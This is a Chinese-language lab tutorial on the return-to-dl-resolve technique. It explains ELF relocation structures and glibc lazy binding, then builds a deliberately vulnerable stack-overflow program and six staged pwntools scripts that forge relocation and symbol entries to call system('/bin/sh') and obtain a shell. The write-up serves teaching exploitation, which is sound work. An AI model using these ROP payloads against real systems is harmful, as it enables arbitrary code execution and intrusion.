本文介绍通过return-to-dl-resolve的手法绕过NX和ASLR的限制。 这里构造一个存在栈缓冲区漏洞的程序,以方便后续构造ROP链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <unistd.h> #include <stdio.h> #include <string.h> void vuln () { char buf[100 ]; setbuf(stdin , buf); read(0 , buf, 256 ); } int main () { char buf[100 ] = "Welcome to XDCTF2015~!\n" ; setbuf(stdout , buf); write(1 , buf, strlen (buf)); vuln(); return 0 ; }
编译:
1 $ gcc -o bof -m32 -fno-stack-protector bof.c
准备知识 相关结构 ELF可执行文件由ELF头部,程序头部表和其对应的段,节头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC
的段,它包含.dynamic
节。结构如下:
1 2 3 4 5 6 7 typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
其中Tag对应着每个节。比如JMPREL
对应着.rel.plt
节中包含目标文件的所有信息。节的结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr;
如下图,列出了该文件的31个节区。其中类型为REL的节区包含重定位表项。 (1).rel.plt
节是用于函数重定位,.rel.dyn
节是用于变量重定位
1 2 3 4 5 6 7 8 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; #define ELF32_R_SYM(info) ((info)>>8) #define ELF32_R_TYPE(info) ((unsigned char)(info)) #define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
如图,在.rel.plt中列出了链接的C库函数,以下均以write函数为例,write函数的r_offset=0x0804a01c,r_info=0x607 (2).got
节保存全局变量偏移表,.got.plt
节保存全局函数偏移表。.got.plt
对应着Elf32_Rel
结构中r_offset
的值。 (3).dynsym
节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)
。根据定义,
1 ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT
。 (4).dynstr
节包含了动态链接的字符串。这个节以\x00
作为开始和结尾,中间每个字符串也以\x00
间隔。 Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num),所以.dynstr
加上0x4c的偏移量,就是字符串write。 (5).plt
节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。 当程序执行call write@plt时,实际会跳到0x0804a01c去执行。
延迟绑定 程序在执行的过程中,可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术,在第一次调用C库函数是时才会去寻找真正的位置进行绑定。 具体来说,在前一部分我们已经知道,当程序执行call write@plt时,实际会跳到0x0804a01c去执行。而0x0804a01c处的汇编代码仅仅三行。我们来看一下这三行代码做了什么。 第一行:前面提到过0x0804a01c是write的GOT表位置,当我们第一次调用write时,其对应的GOT表里并没有存放write的真实地址,而是write@plt的下一条指令地址。 第二、三行:把reloc_arg=0x20作为参数推入栈中,跳到0x08048380(PLT[0])继续执行。 0x08048380(PLT[0])再把link_map=*(GOT+4)
(即GOT[1],链接器的标识信息)作为参数推入栈中,而*(GOT+8)
(即GOT[2],动态链接器中的入口点)中保存的是_dl_runtime_resolve
函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg)
,该函数会完成符号的解析,即将真实的write函数地址写入其GOT条目中,随后把控制权交给write函数。 _dl_runtime_resolve是在glibc-2.23/sysdeps/i386/dl-trampoline.S中用汇编实现的。0xf7fededb处即调用_dl_fixup
,并且通过寄存器传参。 _dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们只关注一些主要函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) { const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
漏洞利用方式 1.控制eip
为PLT[0]的地址,只需传递一个index_arg
参数 2.控制index_arg
的大小,使reloc
的位置落在可控地址内 3.伪造reloc
的内容,使sym
落在可控地址内 4.伪造sym
的内容,使name
落在可控地址内 5.伪造name
为任意库函数,如system
控制eip 首先确认一下进程当前开了哪些保护 由于程序存在栈缓冲区漏洞,我们可以用peda很快定位覆写eip的位置stage1 我们先写一个ROP链,直到返回到write@plt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *elf = ELF('bof' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08048619 pop_ebp_ret = 0x0804861b leave_ret = 0x08048458 stack_size = 0x800 bss_addr = 0x0804a040 base_stage = bss_addr + stack_size r = process('./bof' ) r.recvuntil('Welcome to XDCTF2015~!\n' ) payload = 'A' * offset payload += p32(read_plt) payload += p32(ppp_ret) payload += p32(0 ) payload += p32(base_stage) payload += p32(100 ) payload += p32(pop_ebp_ret) payload += p32(base_stage) payload += p32(leave_ret) r.sendline(payload) cmd = "/bin/sh" payload2 = 'AAAA' payload2 += p32(write_plt) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
最后会把输入的cmd打印出来
1 2 3 4 5 6 7 8 9 10 $ ./stage1.py [*] '/home/fanrong/Computer/PWN/basics/ret2dl-resolve/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './bof': Done [*] Switching to interactive mode /bin/sh
stage2 这次控制eip
返回PLT[0]
,要带上write的index_offset
。这里修改一下payload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... cmd = "/bin/sh" plt_0 = 0x08048380 index_offset = 0x20 payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
同样会把输入的cmd打印出来
1 2 3 4 5 6 7 8 9 10 $ ./stage2.py [*] '/home/fanrong/Computer/PWN/basics/ret2dl-resolve/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './bof': Done [*] Switching to interactive mode /bin/sh
stage3 这次控制index_offset
,使其指向我们构造的fake_reloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] r_info = 0x607 fake_reloc = p32(write_got) + p32(r_info) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += fake_reloc payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
同样会把输入的cmd打印出来
1 2 3 4 5 6 7 8 9 [*] '/home/fanrong/Computer/PWN/basics/ret2dl-resolve/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './bof': Done [*] Switching to interactive mode /bin/sh
stage4 这一次构造fake_sym
,使其指向我们控制的st_name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] dynsym = 0x080481d8 dynstr = 0x08048278 fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = 0x4c fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
同样会把输入的cmd打印出来
1 2 3 4 5 6 7 8 9 10 $ ./stage4.py [*] '/home/fanrong/Computer/PWN/basics/ret2dl-resolve/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './bof': Done [*] Switching to interactive mode /bin/sh
stage5 把st_name
指向输入的字符串"write"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ... cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] dynsym = 0x080481d8 dynstr = 0x08048278 fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym_addr + 0x10 ) - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += "write\x00" payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
打印出了输入的cmd
1 2 3 4 5 6 7 8 9 10 $ ./stage5.py [*] '/home/fanrong/Computer/PWN/basics/ret2dl-resolve/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './bof': Done [*] Switching to interactive mode /bin/sh
stage6 替换write
为system
,并修改system
的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ... cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (base_stage + 28 ) - rel_plt write_got = elf.got['write' ] dynsym = 0x080481d8 dynstr = 0x08048278 fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym_addr + 0x10 ) - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(base_stage + 80 ) payload2 += 'aaaa' payload2 += 'aaaa' payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += "system\x00" payload2 += 'A' * (80 - len (payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len (payload2)) r.sendline(payload2) r.interactive()
得到一个shell
1 2 3 4 5 6 7 8 9 10 11 $ ./stage6.py [*] '/home/fanrong/Computer/PWN/basics/ret2dl-resolve/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './bof': Done [*] Switching to interactive mode $ ls bof bof.c stage1.py stage2.py stage3.py stage4.py stage5.py stage6.py
程序和脚本下载 reference http://drops.wooyun.org/binary/14360